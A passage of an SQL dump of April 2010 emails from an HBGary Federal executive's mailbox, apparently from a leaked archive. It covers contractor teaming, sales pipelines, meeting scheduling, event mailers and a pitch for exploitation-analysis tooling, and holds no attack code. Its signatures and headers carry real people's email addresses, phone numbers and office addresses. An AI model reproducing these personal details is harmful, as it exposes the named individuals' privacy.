prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',775,'aaron_hbgary_com/775.html'),(5410,'2010-04-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003930.M196352P14101Q265.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','iPad Printing How To','http://blog.makezine.com/archive/2010/04/how-to_print_from_an_ipad.html\r\n\r\n',14414,'aaron_hbgary_com/14414.html'),(5411,'2010-04-16','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297003930.M425251P14101Q266.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NANA','Aaron - \r\n\r\nI\'m contacting the POC for the NANA work - will get back shortly to you\r\non it, so we can move fwd\r\n\r\n\r\n\r\nr /Mike\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 10:33 AM\r\nTo: Mulville, Michael E.\r\nSubject: NANA\r\n\r\nHey Mike,\r\n\r\nI am sure things are hectic.  Just had a few questions for you.\r\n\r\nWe have some people in our network that I think would be good fits for\r\nthe NANA work as well as some qualified candidates that have been\r\napplying to some of our requisitions that I think also could fit this\r\nwork.\r\n\r\nWhen would be a good time to sit down and discuss how HBGary might be\r\nable to help?  I am trying to do some pipeline planning, staffing,\r\nanswering resumes, etc.\r\n\r\nAlso, not sure if you are aware but I will be giving a talk on Aurora at\r\nSAICs Tech Tuesday meeting (I think that is the NANA group right?) on\r\nthe 27th.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13969,'aaron_hbgary_com/13969.html'),(5412,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003930.M636862P14101Q267.eml','\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@tasc.com>,\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@tasc.com>','Re: COIN Capture','Shoot.  Coming your way shortly.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 16, 2010, at 8:35 AM, \"Kitchen, Torri E (TASC)\"  wrote:\r\n\r\n> Good morning Aaron,\r\n>\r\n> Can you provided the status of the Teaming Agreement attached below?\r\n>\r\n> Thanks,\r\n>\r\n> Torri Kitchen\r\n> Subcontract Administrator\r\n> TASC, Inc.\r\n> 4803 Stonecroft Blvd.\r\n> Chantilly, VA 20151\r\n> PH: 703-449-3726\r\n> Fax: 978-684-7632\r\n>\r\n>\r\n>\r\n>\r\n> PROPRIETARY INFORMATION\r\n> This e-mail, including attachments, may include confidential and/or\r\n> proprietary information, to TASC, Inc. and may be used only by the\r\n> person or entity to which it is addressed. If the reader of this e-\r\n> mail\r\n> is not the intended recipient or his or her authorized agent, the\r\n> reader\r\n> is hereby notified that any dissemination, distribution or copying of\r\n> this e-mail is prohibited. If you have received this e-mail in error,\r\n> please notify the sender by replying to this message and delete this\r\n> e-mail immediately.\r\n>\r\n>\r\n> _____________________________________________\r\n> From: Kitchen, Torri E (TASC)\r\n> Sent: Thursday, April 01, 2010 12:01 PM\r\n> To: \'aaron@hbgary.com\'\r\n> Subject: COIN Capture\r\n> Importance: High\r\n>\r\n>\r\n> Good afternoon Aaron,\r\n>\r\n> Attached is a copy of the TASC standard Teaming Agreement,\r\n> Non-Disclosure Agreement, and Exhibit A in support of the COIN\r\n> capture.\r\n> Please review the TA and NDA. Should you require any changes to these\r\n> documents, please use the MS word track changes feature to highlight\r\n> the\r\n> changes and provide a justification for each change. If the agreement\r\n> are acceptable, please return signed copies to my attention.\r\n>\r\n> Should you have any questions, do not hesitate to contact me.\r\n>\r\n> Regards,\r\n>\r\n> >\r\n>\r\n> Torri Kitchen\r\n> Subcontract Administrator\r\n> TASC, Inc.\r\n> 4803 Stonecroft Blvd.\r\n> Chantilly, VA 20151\r\n> PH: 703-449-3726\r\n> Fax: 978-684-7632\r\n>\r\n>\r\n>\r\n>\r\n> PROPRIETARY INFORMATION\r\n> This e-mail, including attachments, may include confidential and/or\r\n> proprietary information, to TASC, Inc. and may be used only by the\r\n> person or entity to which it is addressed. If the reader of this e-\r\n> mail\r\n> is not the intended recipient or his or her authorized agent, the\r\n> reader\r\n> is hereby notified that any dissemination, distribution or copying of\r\n> this e-mail is prohibited. If you have received this e-mail in error,\r\n> please notify the sender by replying to this message and delete this\r\n> e-mail immediately.\r\n>\r\n>\r\n> \r\n',7631,'aaron_hbgary_com/7631.html'),(5413,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003930.M870434P14101Q268.eml','\"Phil Wallisch\" <phil@hbgary.com>','Time today?','Meeting with NSA on Monday.\r\n\r\n From my iPhone\r\n',15817,'aaron_hbgary_com/15817.html'),(5414,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003931.M102674P14101Q269.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NANA','From my iPhoneBegin forwarded message:From: &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt;\r\nDate: April 16, 2010 10:39:44 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: NANA\r\nAaron - I&#39;m contacting the POC for the NANA work - will get back shortly to youon it, so we can move fwd\r\nr /Mike-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 15, 2010 10:33 AM\r\nTo: Mulville, Michael E.Subject: NANAHey Mike,I am sure things are hectic.  Just had a few questions for you.\r\nWe have some people in our network that I think would be good fits forthe NANA work as well as some qualified candidates that have beenapplying to some of our requisitions that I think also could fit this\r\nwork.When would be a good time to sit down and discuss how HBGary might beable to help?  I am trying to do some pipeline planning, staffing,answering resumes, etc.\r\nAlso, not sure if you are aware but I will be giving a talk on Aurora atSAICs Tech Tuesday meeting (I think that is the NANA group right?) onthe 27th.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',11100,'aaron_hbgary_com/11100.html'),(5415,'2010-04-16','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003931.M367882P14101Q270.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Time today?','Sure.  4pm?  What would like to get accomplished?  Active Defense overview?On Fri, Apr 16, 2010 at 11:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMeeting with NSA on Monday.\r\n\r\n From my iPhone\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',16248,'aaron_hbgary_com/16248.html'),(5416,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003931.M683283P14101Q271.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Time today?','Yes. And anything that might be good to note on TMC.From my iPhoneOn Apr 16, 2010, at 11:22 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nSure.  4pm?  What would like to get accomplished?  Active Defense overview?On Fri, Apr 16, 2010 at 11:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMeeting with NSA on Monday.\r\n\r\n From my iPhone\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',5171,'aaron_hbgary_com/5171.html'),(5417,'2010-04-16','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297003931.M906837P14101Q272.eml','aaron@hbgary.com','Air Force Asst Secretary for Acquisition, David Van Buren, speaks at April 23 Monthly Lunch - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Apr \r\n        23 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        Mr. David M. Van Buren\r\n         Acting Assistant Secretary for Acquisition\r\n        U.S. Air Force\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              April 23, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST\r\n              Bamboo Solutions\r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Intellifiber Networks\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n            \r\n               \r\n            \r\n          LGS \r\n              Innovations\r\n              MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n               \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    Monthly Lunch w/ David Van Buren, USAF Asst Sec for Acq\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  May \r\n                    Monthly Lunch w/ BG Lee Price, PEO C3T, U.S. Army\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    May 14 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  June \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',6973,'aaron_hbgary_com/6973.html'),(5418,'2010-04-16','\"Courtney Augustine\" <caugustine@infoblox.com>','/aaron@hbgary.com/new/1297003932.M132227P14101Q273.eml','aaron@hbgary.com','DNSSEC Webinar Now Viewable on Demand; Free External DNS Assessment','\r\n\r\nbloxNews™ - Dynamic Infrastructure, Infoblox and Cisco and DNS Exploit Tutorial\r\nBODY {\r\n	BACKGROUND-COLOR: #e1e1e1; MARGIN: 0px\r\n}\r\n\r\n\r\nA:link {\r\n	COLOR: #104a7a; TEXT-DECORATION: none\r\n}\r\nA:visited {\r\n	COLOR: #104a7a; TEXT-DECORATION: none\r\n}\r\nA:hover {\r\n	COLOR: #ff6600; TEXT-DECORATION: underline\r\n}\r\nA:active {\r\n	COLOR: #0099ff; TEXT-DECORATION: none\r\n}\r\n\r\n\r\n\r\n\r\n\r\nIf you are having trouble reading this email, read the online version.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nApril&nbsp;2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDNSSEC: Compliance Is Easier Than You&nbsp;ThinkYou can hear from leading DNS security experts about recent developments in DNSSEC thanks to sponsors Infoblox and F5 Networks.&nbsp; This on-demand&nbsp;webinar features Dan Kaminsky, Scott Rose, Cricket Liu and Nathan Meyer on how important and how easy DNSSEC has become.\r\n\r\nView&nbsp;our latest&nbsp;DNSSEC webinar and find out more about the Infoblox DNSSEC solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFREE External DNS Assessment from NeustarHow is your external DNS performing?&nbsp; Find out in minutes with this free external DNS assessment.&nbsp; Let our experts provide you with a full DNS Health Assessment today! Provide us with the domains you would like us to evaluate and we will test from points all over the world, including several US locations.&nbsp; Test Your External DNS&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Socialize with Infoblox\r\n• Follow Cricket Liu on Twitter or his blog.\r\n• Follow Infoblox on Twitter.• Read the Infrastructure 2.0 blog.\r\n• Join the Network Automation Group on Linked in!&nbsp; IT pros dedicated to the evolution of the network, tracking late-breaking news and exchanging ideas.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nInfoblox at Interop\r\nJoin us at booth 427 and&nbsp;catch up on our latest IPAM, network discovery and IT orchestration solutions.&nbsp; Enter our daily drawing for an Amazon Kindle®.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks for reading bloxNews!&nbsp; You can opt out, forward to a friend and/or submit suggestions to caugustine@infoblox.com.\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n© 2010 Infoblox Inc. All rights reserved. All registered trademarks are property of their respective owners. \r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\nvar gaJsHost = ((\"https:\" == document.location.protocol) ? \"https://ssl.\" : \"http://www.\");\r\ndocument.write(unescape(\"%3Cscript src=\'\" + gaJsHost + \"google-analytics.com/ga.js\' type=\'text/javascript\'%3E%3C/script%3E\"));\r\n\r\nvar pageTracker = _gat._getTracker(\"UA-1234994-1\");\r\npageTracker._initData();\r\npageTracker._trackPageview();\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou are receiving this email because you have requested information from us in the past or have requested information from one of our trusted partners. If you would like to change your communications preferences or no longer receive mailings from Infoblox, please use the &nbsp;unsubscribe link , or write us at Infoblox, 4750 Patrick Henry Dr., Santa Clara, CA 95054 USA.\r\n\r\n',6592,'aaron_hbgary_com/6592.html'),(5419,'2010-04-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003932.M334110P14101Q274.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: iPad Printing How To','That\'s funny!\r\n\r\n\r\n\r\nOn Apr 16, 2010, at 8:37 AM, Mark Trynor  wrote:\r\n\r\n> http://blog.makezine.com/archive/2010/04/how-\r\n> to_print_from_an_ipad.html\r\n>\r\n',15020,'aaron_hbgary_com/15020.html'),(5420,'2010-04-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003932.M544317P14101Q275.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: TMC','Jose,We will not be making it to San Antonio. Are we on for the call for next Monday at 6pm eastern time?TedSent from my iPad\r\nOn Apr 13, 2010, at 5:08 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:I just sent you a meeting request for 4pm my time, next Monday. Feel free to suggest an alternate time if necessary. Our travel plans will probably not firm up till later this week. \r\n\r\nTedSent from my iPadOn Apr 13, 2010, at 3:31 PM, &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\nIf you are coming to SA, let me know so we can meet here, maybe dinner or something.  If not, then lets shoot for Monday PM.\r\n \r\nJose\r\n \r\n \r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Tue 4/13/2010 4:25 PMTo: Sandoval Jr, Jose (TASC)\r\nCc: Barr Aaron; Powell, Patrick K (TASC); Kamin, Karl V (TASC); Hammack, Jacob P (TASC); Benson, Andrew C (TASC); Trippy, Matthew (TASC)\r\nSubject: Re: TMC\r\n\r\nGreat.  That&#39;s exactly what we had in mind.  Early next week is best forus (ie Monday?).  It looks like we&#39;ll be on travel Tue - Fri.  We may bein San Antonio actually.  I&#39;ll keep you posted on how that develops...\r\n\r\nTedOn 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:&gt; Next week is a good week for us.  I would like to talk to you in detail and invite my engineering team too.  What works best?  Expect the RFP in mid June now.\r\n\r\n&gt; &gt; Thanks.&gt; &gt; Jose&gt; &gt;&gt; ________________________________&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n&gt; Sent: Tue 4/13/2010 4:06 PM&gt; To: Sandoval Jr, Jose (TASC); Barr Aaron&gt; Subject: TMC&gt;&gt;&gt;&gt; Hi Jose,&gt;&gt; Our automated reverse engineering platform, which we are calling the\r\n\r\n&gt; Threat Management Center (TMC) is in the final phases of product&gt; development.  Soon it will be ready to be shrink-wrapped as COTS.  Can&gt; we schedule some time with you and one or more of your engineers to\r\n\r\n&gt; discuss your mission, the problem, constraints, environment, etc.  We&gt; will be able to discuss our architecture, the required components,&gt; static vs dynamic analysis, etc.  I understand that your recompete is\r\n\r\n&gt; quickly approaching.  Do you expect the RFP to drop in May?&gt;&gt; Ted&gt;&gt;&gt;\r\n\r\n',6261,'aaron_hbgary_com/6261.html'),(5421,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003932.M744847P14101Q276.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: NANA','Great thanks Mike.\r\n\r\nAaron\r\n\r\nOn Apr 16, 2010, at 10:39 AM, Mulville, Michael E. wrote:\r\n\r\n> Aaron - \r\n> \r\n> I\'m contacting the POC for the NANA work - will get back shortly to you\r\n> on it, so we can move fwd\r\n> \r\n> \r\n> \r\n> r /Mike\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 15, 2010 10:33 AM\r\n> To: Mulville, Michael E.\r\n> Subject: NANA\r\n> \r\n> Hey Mike,\r\n> \r\n> I am sure things are hectic.  Just had a few questions for you.\r\n> \r\n> We have some people in our network that I think would be good fits for\r\n> the NANA work as well as some qualified candidates that have been\r\n> applying to some of our requisitions that I think also could fit this\r\n> work.\r\n> \r\n> When would be a good time to sit down and discuss how HBGary might be\r\n> able to help?  I am trying to do some pipeline planning, staffing,\r\n> answering resumes, etc.\r\n> \r\n> Also, not sure if you are aware but I will be giving a talk on Aurora at\r\n> SAICs Tech Tuesday meeting (I think that is the NANA group right?) on\r\n> the 27th.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11974,'aaron_hbgary_com/11974.html'),(5422,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003932.M983521P14101Q277.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Updated Pipeline','Lets talk with Mike.AaronBegin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: April 16, 2010 6:16:58 AM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: Updated PipelineCorey White or Mike Spohn, Ted knows Mike-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 15, 2010 8:29 AMTo: Penny Leavy-HoglundSubject: Re: Updated PipelineI am happy to do that. &nbsp;But I need to talk to them first. &nbsp;If you could setup a conversation we can start to get that going.AaronOn Apr 15, 2010, at 11:06 AM, Penny Leavy-Hoglund wrote:Later today. &nbsp;You can use Foundstone you know. &nbsp;We can sell and they canservice-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 15, 2010 7:26 AMTo: Penny Leavy-HoglundCc: Ted VeraSubject: Re: Updated PipelineI believe so.On the IR stuff, I know you guys want us to stand this up and we will.Tedand I have been chasing some longer term engagements so we can buildstability in our pipeline before we focus too much in short term workwhichhas inherently more risk. &nbsp;Long term work takes a bit longer to set up,butas you can see from our pipeline we have established fronts in many areas,even a small PWIN on this pipeline will put us in the good in the next fewmonths. &nbsp;Ted and I don\'t have much else to chase at the moment so we aregoing to focus our efforts on finishing the IR services offerings Tedstarted a while back and then we will get on the GSA schedule and start tomarket these offerings. &nbsp;Again its a people thing, we don\'t have thepeopleto do the work right now. &nbsp;I talked to Ted last week about having all ofthis ready at the latest by the FIRST conference. &nbsp;I want to be able tomarket this service, as well as our other services, there.When do you have some time to do a telecon to discuss the pipeline, IRwork,funding, etc?AaronOn Apr 15, 2010, at 7:30 AM, Penny Leavy-Hoglund wrote:What\'s up with the funding for GD? &nbsp;Are they waiting for the meeting onthe19th?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 15, 2010 4:29 AMTo: Penny Leavy-HoglundSubject: Re: Updated PipelineWe definately are going to offer IR but it is still a people problem.I don\'t have anyone to do the work yet. &nbsp;Checking to see if Dino doesthat type of work. &nbsp;On website, we were supposed to have Aaron springon already to put it up but project B funding has been delayed. &nbsp;Assoon as that money comes in we will bring on Aaron and website will beput up.AaronFrom my iPhoneOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;wrote:It looks good if you get the work. &nbsp;I really think you guys need to beputting together offerings we can sell. &nbsp;IR, Forensics, etc. &nbsp;Weshould havewrite ups, costs etc. &nbsp;Are you working on these? &nbsp;What about awebsite?-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Tuesday, April 13, 2010 9:15 AMTo: Penny Leavy-Hoglund; \'Aaron Barr\'Subject: Updated PipelinePenny,Attached is the 2010 HBGary Federal Pipeline that Aaron and Iupdated thismorning. &nbsp;As you can see, we have lots of irons in the fire, many ofwhichwe\'re just awaiting award announcements for.Regards,TedAaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15946,'aaron_hbgary_com/15946.html'),(5423,'2010-04-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003933.M212101P14101Q278.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Idea','What if you encrypted all output from Apache with a GPG module and it\r\nwas decrypted on the browser side with a plugin a la\r\nhttp://getfiregpg.org/s/home? Then only users you sent the key to could\r\nmake out anything coming off the website or there trusted friends, no\r\none would have a clue what was in there or be able to inject anything in\r\nthe middle, and all the encryption would be seamless.\r\n\r\n',3300,'aaron_hbgary_com/3300.html'),(5424,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003937.M774909P14101Q279.eml','\"Alex Nieves\" <alexander.nieves@mantech.com>,\"Robert P Frisbie\" <Robert.Frisbie@ManTech.com>,\"Alex Nieves\" <alexander.nieves@mantech.com>,\"Robert P Frisbie\" <Robert.Frisbie@ManTech.com>','Reconnect','Hi Alex/Bob,\r\n\r\nNot sure if either of you have seen our whitepaper on Software Exploitation using HBGary REcon technology.  It greatly increases the reliability and efficiency for identifying exploitable sections of software (for CND or CNE).  Also if you get a chance look at our ticker on the hbgary.com website.  That data is coming from our Threat Monitoring Center which is automatically doing malware analysis on over 15K malware samples a day.  This is a new capability for us but one we are putting a lot of attention on.  The intelligence value of this information alone is very valuable as it significantly shortens the timeline to 